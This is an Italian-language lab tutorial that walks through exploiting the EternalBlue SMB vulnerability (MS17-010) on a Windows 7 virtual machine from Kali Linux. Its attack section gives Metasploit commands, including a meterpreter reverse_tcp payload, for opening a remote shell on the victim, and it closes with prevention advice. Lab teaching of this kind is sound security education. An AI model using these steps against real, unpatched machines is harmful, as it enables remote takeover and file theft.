LAB: ATTACCO AL SISTEMA OPERATIVO WINDOWS BASATO SULLA VULNERABILITÀ DEL PROTOCOLLO SMB.
I. DESCRIZIONE
Nel laboratorio useremo due computer per simulare un attacco basato sulla vulnerabilità del protocollo SMB del sistema operativo Windows. Una macchina esegue il sistema operativo Kali Linux e svolge il ruolo dell'attaccante (hacker). Un'altra macchina svolge il ruolo della macchina vittima (victim). La macchina vittima esegue il sistema operativo Windows 7 a 64 bit e presenta la vulnerabilità SMB. Per fare questo, sulla macchina Kali Linux useremo il codice di exploit chiamato EternalBlue per attaccare la macchina Windows 7.
II. INTRODUZIONE GENERALE
Server Message Block (SMB) è un protocollo di condivisione file abbastanza diffuso sulla piattaforma Windows di Microsoft. Grazie a questo protocollo SMB, i computer Windows connessi tra loro nella stessa rete locale o nello stesso Domain possono condividere file tra loro. Ad oggi, SMB è anche chiamato Common Internet File Sharing (CIFS).
EternalBlue è un exploit che sfrutta la vulnerabilità del protocollo SMB tramite la porta 445. Inizialmente, EternalBlue è stato sviluppato dall'Agenzia per la Sicurezza Nazionale degli Stati Uniti (NSA). Il nome completo in inglese è U.S. National Security Agency. Ma successivamente è stato divulgato dal gruppo di hacker The Shadow Brokers nel 2017. Nello stesso anno, un'ondata di attacchi su larga scala del virus di cifratura dei dati – Ransomware, mirata ai computer Windows di Microsoft, si è verificata in tutto il mondo. Tra questi, il più famoso è il virus WannaCry. Ad oggi, sebbene questa vulnerabilità sia stata corretta da Microsoft con l'aggiornamento di sicurezza MS17-010, in tutto il mondo un gran numero di computer che eseguono il sistema operativo Windows presenta ancora questa vulnerabilità. Questa vulnerabilità è stata pubblicata come CVE-2017-0144. (Windows SMB Remote Code Execution Vulnerability). Questa vulnerabilità è estremamente pericolosa e molto facile da sfruttare. La cosa degna di nota è che, per attaccare tramite questa vulnerabilità del protocollo SMB, l'hacker non deve inviare alla vittima, né indurla a scaricare o eseguire, alcun virus dannoso. Cioè, anche se la vittima non fa nulla, può comunque essere facilmente attaccata e subire la presa di controllo del computer da parte dell'hacker senza accorgersene.
III. PREPARAZIONE
Preparare 02 macchine virtuali eseguite sul software VMware Workstation. La macchina virtuale Kali Linux (macchina hacker) ha indirizzo IP: 192.168.198.140 e la macchina virtuale Windows 7 (macchina vittima) ha indirizzo IP: 192.168.198.143
1.Sulla macchina virtuale Kali (attack):
-Verifica dell'IP: ifconfig
-Avviare il servizio Postgresql: # service postgresql start
-Per verificare se postgresql è già in esecuzione usiamo il comando: # service postgresql status
2.Sulla macchina virtuale Windows 7 (victim):
Verifica dell'IP: ipconfig
Spegnere il firewall.
IV. ESECUZIONE DELL'ATTACCO.
Sulla macchina Kali: accedere a Metasploit con il comando: # msfconsole
Una volta entrati in Metasploit, cerchiamo i bug e le sintassi relative a ms17_010 con il comando: # search ms17_010
Aggiungere l'indirizzo IP della macchina vittima e della macchina attaccante
Configurare il payload per lo sfruttamento:
use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
Eseguire l'exploit per procedere con lo sfruttamento
-Aprire una shell sulla macchina vittima (eseguita tramite il terminale della macchina attaccante) dopo aver ottenuto l'accesso:
=>A questo punto, l'hacker ha penetrato con successo la macchina vittima. Ora, l'hacker può eliminare e rubare file dalla macchina vittima senza che questa se ne accorga. Può persino caricare ed eseguire virus direttamente su di essa.
V. COME PREVENIRE.
– Per evitare lo sfruttamento e l'abuso del protocollo SMB, dobbiamo eseguire alcune delle seguenti operazioni:
Attivare il firewall.
Aggiornare Windows all'ultima versione. Oppure scaricare e installare le patch di sicurezza di Microsoft. Soprattutto la patch di sicurezza ms17_010.